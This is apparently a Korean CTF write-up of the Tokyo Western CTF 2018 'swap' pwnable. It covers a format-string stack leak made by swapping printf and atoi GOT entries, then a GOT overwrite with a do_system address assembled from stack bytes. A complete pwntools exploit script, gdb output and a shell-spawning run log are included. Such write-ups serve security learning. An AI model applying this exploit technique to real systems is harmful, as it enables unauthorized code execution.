Category : pwnable
SWAP SAWP WASP PWAS SWPA |
Summary : temp = *addr1; *addr1 = *addr2; *addr2 = temp; temp = 0
main
|
프로그램 자체는 굉장히 간단하며 2가지 기능이 존재한다.
(1) set : 2개의 address를 변수에 입력
(2) swap : 설정된 2 address가 가리키는 값을 서로 swap
// temp = *addr1; *addr1 = *addr2; *addr2 = temp; temp = 0
|
printf@got <-> atoi@got를 서로 swap한 뒤에, 메뉴를 입력받을 때 %p를 입력하면 printf("%p"); // stack 주소 leak 가능.
printf의 return value는 출력한 문자 개수이므로, leak 이후 2글자 입력하면 2번 메뉴를 입력한 것으로 인식.
다시 swap 되어서 printf@got, atoi@got 원래대로 돌아감.
>>> 0x601038 # printf got
6295608
>>> 0x601050 # atoi got
6295632
$ ./swap
1. Set
2. Swap
3. Exit
Your choice:
4
Invalid choice. 1. Set
2. Swap
3. Exit
Your choice:
1
1st address:
6295608
2nd address:
6295632
1. Set
2. Swap
3. Exit
Your choice:
2
1. Set
2. Swap
3. Exit
Your choice:
%p
0x7ffc8e6f3356
Farming
swap 기능을 이용해 do_system 함수 주소를 메모리에 만들고 atoi@got 에 overwrite하기로 결정.
stack에서 값을 둘러보니 쓸만한 값들 발견함.
(아쉽게도 하위 2번째 byte 0x01에서 0은 aslr 적용 범위라서 성공률 1/16으로 떨어짐. (상위 바이트는 vfprintf랑 do_system이랑 같아서 대부분의 경우 괜찮다. 물론 가끔 실패할 수 있음.)
gdb-peda$ disas system
Dump of assembler code for function system:
0x00007f7e1c7006a0 <+0>: test rdi,rdi
0x00007f7e1c7006a3 <+3>: je 0x7f7e1c7006b0 <system+16>
0x00007f7e1c7006a5 <+5>: jmp 0x7f7e1c700130
0x00007f7e1c7006aa <+10>: nop WORD PTR [rax+rax*1+0x0]
0x00007f7e1c7006b0 <+16>: lea rdi,[rip+0x145591] # 0x7f7e1c845c48
0x00007f7e1c7006b7 <+23>: sub rsp,0x8
0x00007f7e1c7006bb <+27>: call 0x7f7e1c700130 # do_system
0x00007f7e1c7006c0 <+32>: test eax,eax
0x00007f7e1c7006c2 <+34>: sete al
0x00007f7e1c7006c5 <+37>: add rsp,0x8
0x00007f7e1c7006c9 <+41>: movzx eax,al
0x00007f7e1c7006cc <+44>: ret
leak : 0x7ffef6595246
gdb-peda$ x/a 0x7ffef6595246 - 0x64e
0x7ffef6594bf8: 0x7f7e1c708a85 <vfprintf+501>
gdb-peda$ x/a 0x7ffef6595246 - 0xa6
0x7ffef65951a0: 0x1
gdb-peda$ x/a 0x7ffef6595246 - 0x67e
0x7ffef6594bc8: 0x3000000018
cmd_set(0x601310+2, stack-0x64e+2) # 0x601310 = 0x7f7e1c70----
cmd_swap()
cmd_set(0x601310-6, stack-0xa6-7) # 0x601310 = 0x7f7e1c7001-- # 0자리는 aslr 적용범위이기 때문에 안 맞을때도 있음.# 1/16 확률...
cmd_swap()
cmd_set(0x601310-7, stack-0x67e-3) # 0x601310 = 0x7f7e1c700130
cmd_swap()
Exploit
#!/usr/bin/python
from pwn import *
def cmd_set(v1, v2):
ru('Your choice: ')
ss('1\x00')
ru('1st address: \n')
sl(str(v1))
ru('2nd address: \n')
sl(str(v2))
def cmd_swap():
ru('Your choice: ')
ss('2\x00')
def cmd_exit():
ru('Your choice: ')
ss('3\x00')
atoi_got = 0x601050
printf_got = 0x601038
fscanf_got = 0x601020
s = process('./swap')
#s = remote('swap.chal.ctf.westerns.tokyo', 37567)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send
##### *atoi_got <-> *printf_got #####
ru('Your choice: ')
ss('5\x00')
cmd_set(atoi_got, printf_got)
cmd_swap()
ru('Your choice: ')
ss('%p')
stack = int(ru('1.')[:-2], 16)
print hex(stack)
ru('Your choice: ')
ss('22') # printf("22") = 2
# swap again...
# atoi_got, printf_got are restored
####################################
#### make do_system@libc address ###
######## 1/16 ######################
'''
gdb-peda$ disas system
Dump of assembler code for function system:
0x00007f7e1c7006a0 <+0>: test rdi,rdi
0x00007f7e1c7006a3 <+3>: je 0x7f7e1c7006b0 <system+16>
0x00007f7e1c7006a5 <+5>: jmp 0x7f7e1c700130
0x00007f7e1c7006aa <+10>: nop WORD PTR [rax+rax*1+0x0]
0x00007f7e1c7006b0 <+16>: lea rdi,[rip+0x145591] # 0x7f7e1c845c48
0x00007f7e1c7006b7 <+23>: sub rsp,0x8
0x00007f7e1c7006bb <+27>: call 0x7f7e1c700130 # do_system
0x00007f7e1c7006c0 <+32>: test eax,eax
0x00007f7e1c7006c2 <+34>: sete al
0x00007f7e1c7006c5 <+37>: add rsp,0x8
0x00007f7e1c7006c9 <+41>: movzx eax,al
0x00007f7e1c7006cc <+44>: ret
leak : 0x7ffef6595246
gdb-peda$ x/a 0x7ffef6595246 - 0x64e
0x7ffef6594bf8: 0x7f7e1c708a85 <vfprintf+501>
gdb-peda$ x/a 0x7ffef6595246 - 0xa6
0x7ffef65951a0: 0x1
gdb-peda$ x/a 0x7ffef6595246 - 0x67e
0x7ffef6594bc8: 0x3000000018
'''
raw_input('>')
cmd_set(0x601310+2, stack-0x64e+2) # 0x601310 = 0x7f7e1c70----
cmd_swap()
cmd_set(0x601310-6, stack-0xa6-7) # 0x601310 = 0x7f7e1c7001--
cmd_swap()
cmd_set(0x601310-7, stack-0x67e-3) # 0x601310 = 0x7f7e1c700130
cmd_swap()
#####################################
#### *atoi_got = do_system@libc #####
cmd_set(atoi_got, 0x601310)
cmd_swap()
#####################################
ru('Your choice: ')
ss('sh') # atoi@plt("sh") = do_system("sh")
sl('id')
sl('cat flag')
s.interactive()
s.close()
$ python ex.py
[+] Opening connection to swap.chal.ctf.westerns.tokyo on port 37567: Done
0x7ffc53bd1da6
[*] Switching to interactive mode
$
uid=37567012 gid=37567(p37567) groups=37567(p37567)
TWCTF{??????????????????}
'CTF > 2018' 카테고리의 다른 글
HITCON CTF 2018 - groot (0) | 2018.10.30 |
---|---|
Tokyo Western CTF 2018 - BBQ (0) | 2018.09.10 |
Tokyo Western CTF 2018 - Neighbor C (0) | 2018.09.03 |
Tokyo Western CTF 2018 - load (0) | 2018.09.03 |
WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit) (0) | 2018.08.24 |